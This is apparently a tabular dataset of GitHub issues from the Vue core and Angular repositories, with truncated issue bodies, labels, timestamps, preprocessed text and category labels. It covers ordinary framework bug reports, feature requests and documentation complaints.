### Link to minimal reproduction

https://play.vuejs.org/#eNqNU8tu2zAQ/JUtL06AVILQnlLZ6CuH9tAWTY68KPLKZkKRBB+KA8P/niUZyXEeRm7kzJC7wx1u2TdjiiEgO2e1a60wHhz6YBZcid5o62ELFjvYQWd1DzOSzibqh+7NI16UcRNvmn054KsDQTUquGq1clRsre/SNfNY5sTbgKd7tl03aoXEnZzCfAFbrmA6UQyNDJH7cIhwtYsX1GW2Q0Zo47E3svFIO4D6OnivFXxtpWhv55zlMpwt8qIusyCLU3fDR9GRcKzEGZR7tiIapcOE1eWTWuyMeUdWOrEqbpxW9MrJA5Wkc0Ki/Wu8IKucnWd3kWuk1He/Exbf42zE2zW2t6/gN24TMc7+WXRoB3Iycb6xK/SZvrj8gxtaT2Svl0GS+gj5H52WIfaYZd+DWlLbT3Sp219p4EKtrtzFxqNyo6nYaFTukp4zGn98sres79v9VHxO52ic9IpjuF7E9NiYl2JIi5zDqkpgmdHnY5rC+cpHOPIVKMkAY1ZpOrj8ib1+DHPXUCgoze/qEWqhTPDg7w2mSNJt15oGS+GiUaAcwVyCwvq2nd0DcQVLGQ==

### Steps to reproduce

重复切换/勾选多少次就会出现多少个vnode

https://github.com/user-attachments/assets/1537f206-c147-4595-9d31-c236cf691c15



### What is expected?

销毁掉

### What is actually happening?

没有销毁

### System Info

_No response_

### Any additional comments?

_No response_",,2024-12-09 10:12:16+00:00,2024-12-09 12:41:32+00:00,1,nan,0.1037,checkbox vnode vue version latest link to vnode what is expected what is actually happening system info no response any additional comments no response,others,-0.5267
vuejs/core,2725006087,Reactivity is lost when using `Reactive Props Destructure` on props with default values specified using `withDefaults`.,"### Vue version

v3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNq1U0uP0zAQ/itTX9KVSqJV4VLSSjxWAg6wWpC4WEJRMmm9OHZkT7JFUf47Y2dTCiy9cfN83zy+eXgQr9o27TsUG5H70qmWwCN17U4a1bTWEQzgsIYRamcbSNg1OVFvbNM+4mkWjJApeSlNaY0naPwetiF6mbxDrS18tU5Xi+RKmjybinEZNgibVheEbAHkh+vdMMTgccwztiKqTNsR9M8aW6HeSsG8FJBNZBSyYeg3Is/OEouVIM+6arVP77013PAQYqUoOVhpdJ9aUqxbig1EJnAFy374EDFyHa5mvDxg+f0J/N4fAybFrUOPrkcpThwVbo800TefP+KR3yeS2+o0e18g79Bb3QWNk9vrzlQs+8wvqn0fd6PM/ou/ORIaPzcVhAbPMfpLwbsKc/tX67/krtPnMU6akac47/nsYnRhwuSJE5yuJ8vgDouSVK/oBygP2nqaL+NxvXwdD4oOb7EuOk1+WWGtDN462/p8YI8NeHLcybhbXq1gQqSYbinIWCykGPmanqhmLMuKFZn630Ugcuetbf9KEbu9VPvyp6hUHx8QE/Ka5h8S2Wyi/zz4bz26sH5e1Tp9kV6vxfgTLfRRWA==

### Steps to reproduce

* Update `msg` in `App.vue` from Preview from input tag.
* The `Comp: Hello World!` shown in Preview does not change according to the input value (`msg`).

### What is expected?

* That reactivity is not lost and that the `Comp: Hello World!` shown in Preview is changed to match the `msg` in `App.vue`.

### What is actually happening?

* Reactivity is lost and the `Comp: Hello World!` displayed in Preview is not changed to match the `msg` in `App.vue`.

### System Info

_No response_

### Any additional comments?

As shown below, it seems to occur when you set default values with `withDefaults` while expecting `Reactive Props Destructure` and split assigning props.

```ts
// Reactivity is lost
const { msg } = withDefaults(defineProps<{msg: string}>(), {msg: ""Hello Comp!!... [TRUNCATED]",,2024-12-08 07:28:30+00:00,2024-12-09 00:54:00+00:00,3,nan,0.726,reactivity is lost when using on props with default values specified using vue version v link to update in from preview from input tag the shown in preview does not change according to the input value what is expected that reactivity is not lost and that the shown in preview is changed to match the in what is actually happening reactivity is lost and the displayed in preview is not changed to match the in system info no response any additional comments as shown below it seems to occur when you set default values with while expecting and split assigning props ts reactivity is lost const msg withdefaults defineprops msg hello comp truncated,others,-0.3818
vuejs/core,2720437152,Using headers attribute on table cells trigger warning when running tests with happy-dom environment ,"### Vue version

3.5.13

### Link to minimal reproduction

https://codesandbox.io/p/devbox/8kthxl

### Steps to reproduce

**From the reproduction link**

On a terminal, run :

```shell
pnpm run test
```

**From a new project**

 1. Install vue, vue-test-utils and vitest with happy-dom as environment.
 2. Create a component with a table and a `headers` attribute on any of the table cells.
 3. Set up a test for this component, then run the tests.

### What is expected?

`headers` attribute on td element should be displayed and interpreted as an HTML attribute.

### What is actually happening?

Got the following warning

```
[Vue warn]: Failed setting prop ""headers"" on <td>: value header is invalid. TypeError: Cannot set property headers of [object Object] which has only a getter
    at patchDOMProp (/project/workspace/node_modules/.pnpm/@vue+runtime-dom@3.5.13/node_modules/@vue/runtime-dom/dist/runtime-dom.cjs.js:603:13)
    at patchProp (/project/workspace/node_modules/.pnpm/@vue+runtime-dom@3.5.13/node_modules/@vue/runtime-dom/dist/runtime-dom.cjs.js:714:5)
    at mountElement (/project/workspace/node_modules/.pnpm/@vue+runtime-core@3.5.13/node_modules/@vue/runtime-core/dist/runtime-core.cjs.js:4827:11)
    at processElement (/project/workspace/node_modules/.pnpm/@vue+runtime-core@3.5.13/node_modules/@vue/runtime-core/dist/runtime-core.cjs.js:4774:7)
    at patch (/project/workspace/node_modules/.pnpm/@vue+runtime-core@3.5.13/node_module... [TRUNCATED]",,2024-12-05 13:35:41+00:00,2024-12-06 07:01:31+00:00,2,nan,0.7263,using headers attribute on table cells trigger warning when running tests with happy dom environment vue version link to from the on a terminal run from a new project install vue vue test utils and vitest with happy dom as environment create a component with a table and a attribute on any of the table cells set up a test for this component then run the tests what is expected attribute on td element should be displayed and interpreted as an html attribute what is actually happening got the following warning vue warn failed setting prop headers on value header is invalid typeerror cannot set property headers of object object which has only a getter at patchdomprop project workspace node modules pnpm vue runtime dom node modules vue runtime dom dist runtime dom cjs js at patchprop project workspace node modules pnpm vue runtime dom node modules vue runtime dom dist runtime dom cjs js at mountelement project workspace node modules pnpm vue runtime core node modules vue runtime core dist runtime core cjs js at processelement project workspace node modules pnpm vue runtime core node modules vue runtime core dist runtime core cjs js at patch project workspace node modules pnpm vue runtime core node module truncated,others,0.5267
vuejs/core,2712322905,The v-model  in  @vue/compact is not work well,"### Vue version

3.5.13

### Link to minimal reproduction

NA

### Steps to reproduce

Recently, we have been upgrading from Vue 2 to Vue 3 using the migration build. We found that the Vue 2 and Vue 3 syntax for v-model cannot coexist. The version of Vue3 is 3.5.13. ""If I set compatConfig.MODE=2, the Vue 3 code does not work correctly; if I set compatConfig.MODE=3, then the Vue 2 code does not work correctly
code: vue2
<template>
  <div>
    <input type=""checkbox"" :checked=""value"" @change=""emitChange"" />
    {{ value ? ""Yes"" : ""No"" }}
  </div>
</template>

<script>
export default {
  props: {
    value: {
      type: Boolean,
      default: false,
    },
  },
  data() {
    return {
      text: """",
      valid: false,
    };
  },
  methods: {
    emitChange(event) {
      this.$emit(""input"", event.target.checked);
    },
  },
};
</script>
code: vue3
<!-- Child.vue -->
<script setup>
const model = defineModel(); // eslint-disable-line
function update() {
  model.value++;
}
</script>

<template>
  <div>
    <div>Parent bound v-model is: {{ model }}</div>
    <button @click=""update"">Increment</button>
  </div>
</template>


### What is expected?

In @vue/compact, Use vue2 and vue3 totally

### What is actually happening?

v-model doesnot work well

### System Info

```shell
NA
```


### Any additional comments?

_No response_",,2024-12-02 15:27:32+00:00,2024-12-09 02:08:29+00:00,3,nan,6.4451,the v model in vue compact is not work well vue version link to na recently we have been upgrading from vue to vue using the migration build we found that the vue and vue syntax for v model cannot coexist the version of vue is if i set compatconfig mode the vue code does not work correctly if i set compatconfig mode then the vue code does not work correctly code vue value yes no export default props value type boolean default false data return text valid false methods emitchange event this emit input event target checked code vue const model definemodel eslint disable line function update model value parent bound v model is model increment what is expected in vue compact use vue and vue totally what is actually happening v model doesnot work well system info any additional comments no response,others,0.4352
angular/angular,4687389145,Dependency conflict during installation,"### Which @angular/* package(s) are the source of the bug?

core, compiler

### Is this a regression?

No

### Description

I am using Angular 20 and recently encountered a peer-dependency conflict during installation. It seems that platform-browser-dynamic is installing angular/core@20.0.7 and ^20.0.0 installs angular/core@20.3.25. I can get around the issue by locking down my versions but this issue occurred recently and was working fine last week. Attached are screenshots of the errors and my npm package.json dependancies.

<img width=""431"" height=""276"" alt=""Image"" src=""https://github.com/user-attachments/assets/13da1fae-e74d-4f3b-8cf7-d42f2ec441f2"" />

<img width=""667"" height=""448"" alt=""Image"" src=""https://github.com/user-attachments/assets/65e2060a-7084-4b49-9c2d-1d030a428c82"" />

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Repo 1 Dependencies:

""dependencies"": {
    ""@angular/animations"": ""^20.0.4"",
    ""@angular/cdk"": ""^20.0.3"",
    ""@angular/common"": ""^20.0.4"",
    ""@angular/core"": ""^20.0.4"",
    ""@angular/forms"": ""^20.0.4"",
    ""@angular/localize"": ""^20.0.4"",
    ""@angular/material"": ""^20.0.3"",
    ""@angular/material-moment-adapter"": ""^20.0.3"",
    ""@angular/platform-browser"": ""^20.0.4"",
    ""@angular/platform-browser-dynamic"": ""^20.0.4"",
    ""@syncfusion/ej2-angular-image-editor""... [TRUNCATED]","area: packaging,gemini-triaged",2026-06-17 22:04:46+00:00,2026-06-17 22:06:52+00:00,1,"area: packaging,gemini-triaged",0.0015,dependency conflict during installation which angular package s are the source of the bug core compiler is this a regression no description i am using angular and recently encountered a peer dependency conflict during installation it seems that platform browser dynamic is installing angular core and installs angular core i can get around the issue by locking down my versions but this issue occurred recently and was working fine last week attached are of the errors and my npm package json dependancies please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true repo dependencies dependencies angular animations angular cdk angular common angular core angular forms angular localize angular material angular material moment adapter angular platform browser angular platform browser dynamic syncfusion ej angular image editor truncated,others,-0.5927
angular/angular,4675946453,"docs(adev): 404 error on page refresh (F5) for specific ARIA guides (combobox, autocomplete)","### Describe the problem that you experienced

When navigating directly to certain ARIA guide pages (like combobox or autocomplete) or refreshing the page (F5) while on them, the application redirects to the https://angular.dev/404 page.
https://angular.dev/guide/aria/autocomplete 404
https://angular.dev/guide/aria/combobox 404
https://angular.dev/guide/aria/grid 200

### Enter the URL of the topic with the problem

https://angular.dev/guide/aria/combobox

### Describe what you were looking for in the documentation

I was trying to read the documentation regarding ARIA patterns (specifically the combobox and autocomplete guides) and wanted the page to load correctly after a hard refresh.

### Describe the actions that led you to experience the problem

Open the browser and go to https://angular.dev/guide/aria/grid (this works fine).

Navigate to https://angular.dev/guide/aria/combobox or https://angular.dev/guide/aria/autocomplete.

Press F5 to refresh the page.

Observe that the URL changes to https://angular.dev/404 and the ""Page not found"" view is displayed.

### Describe what you want to experience that would fix the problem

The page should render correctly on initial load and after a hard refresh without redirecting to the 404 page.

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, ... [TRUNCATED]","area: docs-infra,gemini-triaged",2026-06-16 16:12:49+00:00,2026-06-17 15:03:58+00:00,0,"area: docs-infra,gemini-triaged",0.9522,docs adev error on page refresh f for specific aria guides combobox autocomplete describe the problem that you experienced when navigating directly to certain aria guide pages like combobox or autocomplete or refreshing the page f while on them the application redirects to the page enter the url of the topic with the problem describe what you were looking for in the documentation i was trying to read the documentation regarding aria patterns specifically the combobox and autocomplete guides and wanted the page to load correctly after a hard refresh describe the actions that led you to experience the problem open the browser and go to this works fine navigate to or press f to refresh the page observe that the url changes to and the page not found view is displayed describe what you want to experience that would fix the problem the page should render correctly on initial load and after a hard refresh without redirecting to the page add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser truncated,bug,-0.9403
angular/angular,4673140578,Regression: i18n-on attribute falsely rejected as an event handler since v22.0.1 — startsWith('on') is too broad,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

Yes

### Description

In v22.0.1, commit [1ee224ca30](https://github.com/angular/angular/commit/1ee224ca30b9b5a7906b4f481135f1fb900fb3ce) (""fix(compiler): disallow i18n event attributes"") widened the i18n attribute security check to reject any i18n-prefixed attribute whose name starts with the substring on (case-insensitive):

```
// packages/compiler — I18nMetaVisitor._visitElementLike
if (isTrustedType || name.toLowerCase().startsWith('on')) {
  this._reportError(attr, `Translating attribute '${name}' is disallowed for security reasons.`);
}
```

The intent is to block translation of event-handler attributes (onclick, onmouseover, …). But String.prototype.startsWith('on') matches much more than event handlers — it also matches the bare attribute on, as well as online, onboarding, once, etc. These are legitimate, translatable attributes and are now rejected as a false positive.

This breaks Kendo UI for Angular's Switch component (@progress/kendo-angular-inputs), whose precompiled kendoSwitchLocalizedMessages container declares i18n-on=""kendo.switch.on|The **On** label of the Switch."" for its On/Off labels. Any app importing <kendo-switch> now fails to build:

```
✘ [ERROR] Errors found in the template:
Translating attribute 'on' is disallowed for security reasons. (""oSwitch""], ngImport: i0, template: `
        <ng-container kendoSwitchLocalizedMessages
            [ERROR ->]i18n... [TRUNCATED]","area: compiler,gemini-triaged",2026-06-16 10:04:16+00:00,2026-06-16 10:22:51+00:00,1,"area: compiler,gemini-triaged",0.0129,regression i n on attribute falsely rejected as an event handler since v startswith on is too broad which angular package s are the source of the bug compiler is this a regression yes description in v commit ee ca fix compiler disallow i n event attributes widened the i n attribute security check to reject any i n prefixed attribute whose name starts with the substring on case insensitive the intent is to block translation of event handler attributes onclick onmouseover but string prototype startswith on matches much more than event handlers it also matches the bare attribute on as well as online onboarding once etc these are legitimate translatable attributes and are now rejected as a false positive this breaks kendo ui for angular s switch component progress kendo angular inputs whose precompiled kendoswitchlocalizedmessages container declares i n on kendo switch on the on label of the switch for its on off labels any app importing now fails to build error errors found in the template translating attribute on is disallowed for security reasons oswitch ngimport i template ng container kendoswitchlocalizedmessages error i n truncated,bug,-0.8126
angular/angular,4665932299,New synchronous resource behavior in v22 can cause test failures but is not called out as a breaking change,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

During the upgrade to v22 I've found some of our tests suddenly failing with hard-to-explain issues. I eventually managed to trace this down to resource resolving earlier than they used to (#67382). This was causing conditions to change when manually controlling change detection (e.g. components now render because an `@if` matches).

While the behavior change is sound and guarded behind the major version bump, it would seem sensible to call out this behavior change in the breaking changes on the release and potentially in the upgrade guide (likely under *Advanced*).

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : n/a (we use Bazel)
Angular           : 22.0.1
Node.js           : 24.16.0
Package Manager   : pnpm 11.4.0+sha512.f0febc7e37552ab485494a914241b338e0b3580b93d54ce31f00933015880863129038a1b4ae4e414a0ee63ac35bf21197e990172c4a68256450b5636310968f
Operating System  : linux x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular-devkit/architect         │ 0.2102.13   ... [TRUNCATED]",area: core,2026-06-15 14:20:08+00:00,2026-06-15 15:57:05+00:00,1,area: core,0.0673,new synchronous resource behavior in v can cause test failures but is not called out as a breaking change which angular package s are the source of the bug core is this a regression yes description during the upgrade to v i ve found some of our tests suddenly failing with hard to explain issues i eventually managed to trace this down to resource resolving earlier than they used to this was causing conditions to change when manually controlling change detection e g components now render because an matches while the behavior change is sound and guarded behind the major version bump it would seem sensible to call out this behavior change in the breaking changes on the release and potentially in the upgrade guide likely under advanced please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli n a we use bazel angular node js package manager pnpm sha f febc e ab a b e b b d ce f a b ae e a ee ac bf e c a b f linux x package installed version requested version angular devkit architect truncated,feature,-0.8176
angular/angular,4658246464,Signals form: fill form model without some model fields,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

after defining the form with signal model including nested fields, then set this form with model and set the nested object of field with {} it will produce error in console this.field(...) is not a function

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
ular CLI       : 22.0.0
Angular           : 22.0.0
Node.js           : 24.16.0
Package Manager   : npm 11.13.0
Operating System  : win32 x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations               │ 22.0.0            │ ^22.0.0           │
│ @angular/build                    │ 22.0.0            │ ^22.0.0           │
│ @angular/cli                      │ 22.0.0            │ ^22.0.0           │
│ @angular/common                   │ 22.0.0            │ ^22.0.0           │
│ @angular/compiler                 │ 22.0.0            │ ^22.0.0           │
│ @angular/compiler-cli             │ 22.0.0            │ ^22.0.0           │
│ @angular/core                     │ 22.0.0            │ ^22.0.0           │
│ @angular/forms     ... [TRUNCATED]","area: forms,gemini-triaged",2026-06-14 07:05:53+00:00,2026-06-14 07:09:55+00:00,1,"area: forms,gemini-triaged",0.0028,signals form fill form model without some model fields which angular package s are the source of the bug forms is this a regression no description after defining the form with signal model including nested fields then set this form with model and set the nested object of field with it will produce error in console this field is not a function please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true ular cli angular node js package manager npm win x package installed version requested version angular animations angular build angular cli angular common angular compiler angular compiler cli angular core angular forms truncated,others,-0.9402
angular/angular,4656382907,ngTemplateContextGuard does not narrow type when type parameter has constraint,"### Which @angular/* package(s) are the source of the bug?

language-service

### Is this a regression?

No

### Description

I've found that when I add type constraints to a generic directive, the language service is unable to narrow the context, and defaults to `any`. Not sure if this is a known limitation, but I've not been able to find anything that says it is.

Example:

```typescript
import { Component, Directive, input, signal } from '@angular/core';

export type GenericContext<T> = { $implicit: T };

@Directive({
  selector: '[appGeneric]'
})
export class GenericDirective<T extends Record<string, number>> {
  readonly items = input.required<T>();

  static ngTemplateContextGuard<T extends Record<string, number>>(
    directive: GenericDirective<T>,
    context: unknown
  ): context is GenericContext<T> {
    return true;
  }
}

@Component({
  selector: 'app-root',
  template: `
    <ng-template appGeneric [items]=""items()"" let-items>
    </ng-template>
  `,
  imports: [GenericDirective]
})
export class App {
  readonly items = signal([
    { myNum: 0 }
  ]);
}
```

Result:

<img width=""613"" height=""257"" alt=""Image"" src=""https://github.com/user-attachments/assets/999c797d-61c3-418d-858e-f65077bdae05"" />

After removing `extends Record<string, number>`:

<img width=""608"" height=""264"" alt=""Image"" src=""https://github.com/user-attachments/assets/c98f0f67-4ae3-4d25-ad07-927abc625abf"" />

### Please provide the environment you discovered this bug in (run `ng version`)

```tr... [TRUNCATED]","area: language-service,gemini-triaged",2026-06-13 17:50:04+00:00,2026-06-14 09:04:46+00:00,2,"area: language-service,gemini-triaged",0.6352,ngtemplatecontextguard does not narrow type when type parameter has constraint which angular package s are the source of the bug language service is this a regression no description i ve found that when i add type constraints to a generic directive the language service is unable to narrow the context and defaults to not sure if this is a known limitation but i ve not been able to find anything that says it is example result after removing please provide the environment you discovered this bug in run tr truncated,others,-0.6938
angular/angular,4653721552,Reference-counted component outputs,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

I would like to be able to detect when a component output has subscribers.

This enables components to dynamically show UI elements like buttons if an output for the button has subscribers.

For example:

```ts
@Component({
    selector: 'app-component',
})
export class ExampleComponent {
    // The button only gets rendered if the output has subscribers
    readonly backClick = output<void>();
}
```

```html
@if (backClick.hasSubscribers()) {
    <button (click)=""backClick.emit()"">Back</button>
}
```

This is very useful for making components _harder to misuse_, as we don't show buttons that we know have no effect. We can also log warnings or errors if an output should be used, but isn't.

Currently, we can accomplish this by extending the EventEmitter<T> class to refcount on `subscribe()`. However, extending Angular classes is not supported under Angular's semver policy: https://github.com/angular/angular/blob/main/contributing-docs/public-api-surface.md#extending-angular-classes

### Proposed solution

Expose a new property on `OutputEmitterRef<T>`:

```ts
class OutputEmitterRef<T> {
    hasSubscribers: Signal<boolean>;
}
```

The `OutputEmitterRef` would refcount internally with a signal, returning `true` from the `hasSubscribers` signal if the refcount is > 0.

### Alternatives considered

Without this feature, components can use inputs to decide whether to show UI elemen... [TRUNCATED]","area: core,gemini-triaged",2026-06-13 01:16:08+00:00,2026-06-13 06:26:35+00:00,1,"area: core,gemini-triaged",0.2156,reference counted component outputs which angular package s are relevant related to the feature request core description i would like to be able to detect when a component output has subscribers this enables components to dynamically show ui elements like buttons if an output for the button has subscribers for example this is very useful for making components harder to misuse as we don t show buttons that we know have no effect we can also log warnings or errors if an output should be used but isn t currently we can accomplish this by extending the eventemitter class to refcount on however extending angular classes is not supported under angular s semver policy proposed solution expose a new property on the would refcount internally with a signal returning from the signal if the refcount is alternatives considered without this feature components can use inputs to decide whether to show ui elemen truncated,others,0.6959
angular/angular,4647263214,"Roadmap page (angular.dev/roadmap) appears stale, not updated since v22","### Describe the problem that you experienced

I noticed the [roadmap page](https://angular.dev/roadmap) may not have been updated in a little while, as the content still seems to reflect the v22 cycle.

The **""Available to experiment with""** section currently lists:
- Signal Forms
- Resource API
- httpResource

The **""Production ready""** section lists:
- Zoneless change detection
- Linked Signal API
- Incremental hydration
- Effect API
- Event replay with SSR
- Route-level render mode

Since v22, several of the ""experiment with"" items have graduated, but the page doesn't reflect their current status. It's unclear from the roadmap which of these have since stabilized, moved to production-ready, or changed, making the page misleading for developers checking what's safe to adopt.


### Enter the URL of the topic with the problem

https://angular.dev/roadmap","area: docs-infra,gemini-triaged",2026-06-12 07:24:43+00:00,2026-06-12 09:11:24+00:00,2,"area: docs-infra,gemini-triaged",0.0741,roadmap page angular dev roadmap appears stale not updated since v describe the problem that you experienced i noticed the roadmap page may not have been updated in a little while as the content still seems to reflect the v cycle the available to experiment with section currently lists signal forms resource api httpresource the production ready section lists zoneless change detection linked signal api incremental hydration effect api event replay with ssr route level render mode since v several of the experiment with items have graduated but the page doesn t reflect their current status it s unclear from the roadmap which of these have since stabilized moved to production ready or changed making the page misleading for developers checking what s safe to adopt enter the url of the topic with the problem,documentation,-0.1406
angular/angular,4646950049,OutputEmitterRef.emit() skips listeners when an earlier listener unsubscribes synchronously (e.g. outputToObservable + take(1)),"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

When two listeners are subscribed to the same signal-based `output()`, and the first listener unsubscribes itself synchronously while receiving an emitted value, the second listener is silently skipped — it never receives the event.

This is a regression compared to decorator-based `@Output()` / `EventEmitter`: the exact same code works correctly there, as it does in every comparable event system (DOM `EventTarget`, Node `EventEmitter`, RxJS `Subject`). A listener removing itself is never supposed to affect delivery to other listeners. Since `output()` is presented as a drop-in replacement for `@Output()`, this behavioral difference is subtle and very hard to debug — in our app it manifested as a template event binding that simply never fired, with nothing in the console pointing at the cause.

## Reproduction

https://stackblitz.com/edit/stackblitz-starters-scbzqgpg

A child component emits an output once:

```ts
  @Component({ selector: 'app-child', /* ... */ })
  export class ChildComponent implements OnInit {
    ready = output<string>();

    ngOnInit() {
      this.ready.emit('hello from child');
    }
  }
```
A directive on the same element consumes that output once, the idiomatic way:

  ```ts
  @Directive({ selector: 'app-child[consumeOnce]' })
  export class ConsumeOnceDirective {
    private host = inject(ChildComponent);

    constructor() {
      out... [TRUNCATED]","area: core,state: has PR,bug",2026-06-12 06:34:32+00:00,2026-06-16 15:29:35+00:00,0,"area: core,state: has PR,bug",4.3716,outputemitterref emit skips listeners when an earlier listener unsubscribes synchronously e g outputtoobservable take which angular package s are the source of the bug core is this a regression yes description when two listeners are subscribed to the same signal based and the first listener unsubscribes itself synchronously while receiving an emitted value the second listener is silently skipped it never receives the event this is a regression compared to decorator based the exact same code works correctly there as it does in every comparable event system dom node rxjs a listener removing itself is never supposed to affect delivery to other listeners since is presented as a drop in replacement for this behavioral difference is subtle and very hard to debug in our app it manifested as a template event binding that simply never fired with nothing in the console pointing at the cause reproduction a child component emits an output once a directive on the same element consumes that output once the idiomatic way ts directive selector app child consumeonce export class consumeoncedirective private host inject childcomponent constructor out truncated,bug,0.0338
angular/angular,4637959398,CSS compilation issue for multi argument :host() selectors,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

Yes

### Description

We started testing the new Angular 22 version and saw that in one of our applications some css styles were not applied correctly anymore. 

There might be an issue with how multi-argument host selectors are rendered. 

Example css style
```css
:host(ds-list-item, [ds-list-item], ds-menu-item, [ds-menu-item]) { ... }
```

In Angular 20 this got rendered into something like
```css
ds-list-item[_nghost-ng-c2697880216],
[ds-list-item][_nghost-ng-c2697880216],
ds-menu-item[_nghost-ng-c2697880216],
[ds-menu-item][_nghost-ng-c2697880216],
.ds-list-item[_ngcontent-ng-c2697880216] { ... }
```

Now within our tests with Angular 22 it got rendered into
```css
[_ngcontent-ng-c2697880216]:host(ds-list-item, [ds-list-item], ds-menu-item, [ds-menu-item]),
.ds-list-item[_ngcontent-ng-c2697880216] { ... }
```

The `:host()` arm uses `_ngcontent` — but the host element gets `_nghost`, not `_ngcontent`. The selector never matches, so all of our base styles are dead code.


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 22.0.0
Angular           : 22.0.0
Node.js           : 24.15.0
Package Manager   : npm 11.16.0
Operating System  : linux x64
```

### Anything else?

_No respo... [TRUNCATED]","area: compiler,core: CSS encapsulation,gemini-triaged",2026-06-11 06:52:02+00:00,2026-06-11 15:44:01+00:00,2,"area: compiler,core: CSS encapsulation,gemini-triaged",0.3694,css compilation issue for multi argument host selectors which angular package s are the source of the bug compiler is this a regression yes description we started testing the new angular version and saw that in one of our applications some css styles were not applied correctly anymore there might be an issue with how multi argument host selectors are rendered example css style in angular this got rendered into something like now within our tests with angular it got rendered into the arm uses but the host element gets not the selector never matches so all of our base styles are dead code please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no respo truncated,bug,-0.9559
angular/angular,4634483856,animate.leave skipped for the closing panel when switching panels in an exclusive accordion (sibling instances share a TNode),"> **TL;DR — it breaks an exclusive accordion.** In an accordion (or tab group / expandable nav menu) where opening one panel closes the currently-open one, clicking a different panel makes the open panel **disappear instantly instead of animating its `animate.leave` collapse**. The opening panel's `animate.enter` plays fine; only the *closing* panel is broken, and only when another opens in the same change-detection tick.
>
> It's **order-dependent**: it only breaks when the closing section comes *before* the opening one in DOM order. (Both sections update in one tick, in order — so the closing element is detached and tracked *first*, then the entering sibling cancels it.) Closing a *later* section while opening an *earlier* one animates fine, as does toggling a single section with nothing else opening. So in the repro, **clicking Section B while A is open is broken; clicking Section A while B is open animates correctly** — don't be fooled by trying the working direction.
>
> Why: the panels are separate instances of the **same** item component, so their animated elements share one `TNode`. `cancelLeavingNodes` (added in 21.2.0) sees the still-animating closing panel under that shared `TNode` in a different DOM parent, assumes it's a stale duplicate, and force-removes it.
>
> ▶️ **Repro — same code, side by side** (a two-section exclusive accordion; click **Section B** while **Section A** is open):
> - ❌ **Broken (Angular 21.2.x):** https://stackblitz.com/github/kaiguogit/ng-... [TRUNCATED]","area: core,core: animations,gemini-triaged",2026-06-10 19:51:32+00:00,2026-06-11 17:38:59+00:00,4,"area: core,core: animations,gemini-triaged",0.908,animate leave skipped for the closing panel when switching panels in an exclusive accordion sibling instances share a tnode tl dr it breaks an exclusive accordion in an accordion or tab group expandable nav menu where opening one panel closes the currently open one clicking a different panel makes the open panel disappear instantly instead of animating its collapse the opening panel s plays fine only the closing panel is broken and only when another opens in the same change detection tick it s order dependent it only breaks when the closing section comes before the opening one in dom order both sections update in one tick in order so the closing element is detached and tracked first then the entering sibling cancels it closing a later section while opening an earlier one animates fine as does toggling a single section with nothing else opening so in the repro clicking section b while a is open is broken clicking section a while b is open animates correctly don t be fooled by trying the working direction why the panels are separate instances of the same item component so their animated elements share one added in sees the still animating closing panel under that shared in a different dom parent assumes it s a stale duplicate and force removes it repro same code side by side a two section exclusive accordion click section b while section a is open broken angular x truncated,others,-0.7717
angular/angular,4628829238,Build system migration guide still says webpack-based build system is fully supported,"### Describe the problem that you experienced

The build system migration guide still says:

>The existing webpack-based build system is still considered stable and fully supported.
> Applications can continue to use the browser builder and projects can opt-out of migrating during an update.

This seems outdated or at least incomplete after the Angular v22 deprecations.

Angular CLI v22 deprecates the webpack-related builders and points users to `@angular/build` instead. Because of that, the current wording can be confusing: it suggests that the webpack-based build system is still a fully supported long-term option, while the CLI now emits deprecation warnings for this path.
https://github.com/angular/angular-cli/pull/33127/

### Enter the URL of the topic with the problem

https://angular.dev/tools/cli/build-system-migration

### Describe what you were looking for in the documentation

I heard that webpack support had been deprecated in Angular v22, so I was looking for the official migration guidance and current status of the webpack-based builders.


### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```
... [TRUNCATED]","area: docs,gemini-triaged",2026-06-10 06:57:46+00:00,2026-06-10 17:54:44+00:00,1,"area: docs,gemini-triaged",0.4562,build system migration guide still says webpack based build system is fully supported describe the problem that you experienced the build system migration guide still says the existing webpack based build system is still considered stable and fully supported applications can continue to use the browser builder and projects can opt out of migrating during an update this seems outdated or at least incomplete after the angular v deprecations angular cli v deprecates the webpack related builders and points users to instead because of that the current wording can be confusing it suggests that the webpack based build system is still a fully supported long term option while the cli now emits deprecation warnings for this path enter the url of the topic with the problem describe what you were looking for in the documentation i heard that webpack support had been deprecated in angular v so i was looking for the official migration guidance and current status of the webpack based builders describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem 